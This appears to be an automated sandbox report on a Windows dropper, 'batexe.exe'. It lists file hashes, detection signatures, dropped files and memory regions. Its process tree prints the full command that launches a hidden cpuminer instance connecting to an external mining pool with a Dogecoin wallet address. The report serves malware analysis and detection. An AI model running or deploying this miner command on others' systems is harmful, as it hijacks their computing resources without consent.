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Analysis

  • max time kernel
    297s
  • max time network
    305s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    12/02/2024, 14:20

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Users\Admin\AppData\Local\Temp\10E3.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\10E3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\10E3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\16CF.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3504
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4168

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\10E3.tmp\b2e.exe

    Filesize

    4.0MB

    MD5

    1fa4bfa474f67b54cbe63e19fe8c59d0

    SHA1

    a59e75cbd073d202c86ed63f44a115c20f4360cf

    SHA256

    06cc83cdbecea1dd55172a800b74a0ba7e345a575433cc08fe42439b648f9a06

    SHA512

    511fe544b35c0e68cdca6def6f388ea672875250aa99834d3ce089fecb459ca27c476755a9e7427603e7fe974bda4a09a3075b2c0af60ec69682494a418ff478

  • C:\Users\Admin\AppData\Local\Temp\10E3.tmp\b2e.exe

    Filesize

    4.2MB

    MD5

    93fe34b4ea0bf49afb7f4b5d687bd93b

    SHA1

    aa0daac42de6405b66c3c7ba6290e8482c62d223

    SHA256

    13a31de9cc91e332a550b597ad73b7b1c84382073a0391e8dc4724e03a2b1e1d

    SHA512

    f1e289d0230c5a01910edc253352a4350fe230be9c259d4be76c378e7c82afff08ae5c76182c8d0b01baad12ab0b4931b2552183aeef793647d5680b1005ae9a

  • C:\Users\Admin\AppData\Local\Temp\16CF.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.8MB

    MD5

    282872d98f11d03be8ec973b05e07e4f

    SHA1

    263364df1e98d2695f79528f818b32f3f345d33b

    SHA256

    75053d2b11afe0be0564ddb1b980ea8166789f0a4b08333655775941387749dd

    SHA512

    35c5008d5a319c916851955defeb87c9e02d955fb3188407f11840493cb12d6d5c37ef03a34c6d85e88cd634068c6c8a0735625599b7077534342b78656f977d

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.2MB

    MD5

    75ca4e95d679b88b10c0775125d21629

    SHA1

    4cf313a8869b6aa867eb4f44d1de8cb7a3f6ae53

    SHA256

    31aed0ad1bfbc91d1889ef0dbc0a980c4420ec81629f7ea481dea8d25e19e645

    SHA512

    328b653bca0a53c9ede5c64fb63af67a9a6bab237ac55e7b2b14553d25ec7e406e748e92354df1691b2d6a39d990a8edfa598b4973e7449d125eb31afe035466

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.8MB

    MD5

    fb76f77e70c7f4b5db4b775dc0aa98ab

    SHA1

    624ed3f024e9bf7eb5a3aa30bb8c4b818cf25cc3

    SHA256

    7c5cce8cb748f7d9128a267ace6ca3ae485626625f3312968ee139038d9f6ee4

    SHA512

    431583e11398bdde02aa357188a9d3f48254243195901c542e1f9e2a736cd84eeefe3526006932b90b3c6a0110d724f2cd4bbd3e68d57cca1fde3a8339217acc

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.2MB

    MD5

    ade8e19247382bc85f365d9d695a3c56

    SHA1

    22bc0854ac25f65d94dc5de80ccb15727e10033e

    SHA256

    41c3c604fe66b4058ab60112efa244411fe8fcd733e73c6ac44fd1b1322bb952

    SHA512

    99e61d1267f7ec7606c688b3836549434b678bbfe30afd8b4b3a3d366d4cf17608539e353070e8566b980f458011b2feecf2cbf4b4e09d19068db31462dd8e77

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.1MB

    MD5

    772bc19312a39556fbe3c70f5be819fe

    SHA1

    9f3b4a1652173d874431549139593f7a2c4065bf

    SHA256

    a646bdbc63b47238fd27840758b8de46d9b4d0dccb0436880e17f73b492bdd9b

    SHA512

    8db36e7f2310e42c63fc5ebd93ebc86fd7864bf1d87e20c1751827cc57484a4832f977f81011941e40858b0dbe8e27cc2c1aed46aed4a36319cca066ebd8ccc8

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/316-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/316-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2732-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4168-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4168-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4168-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-44-0x0000000001060000-0x0000000002915000-memory.dmp

    Filesize

    24.7MB

  • memory/4168-43-0x0000000068830000-0x00000000688C8000-memory.dmp

    Filesize

    608KB

  • memory/4168-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4168-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB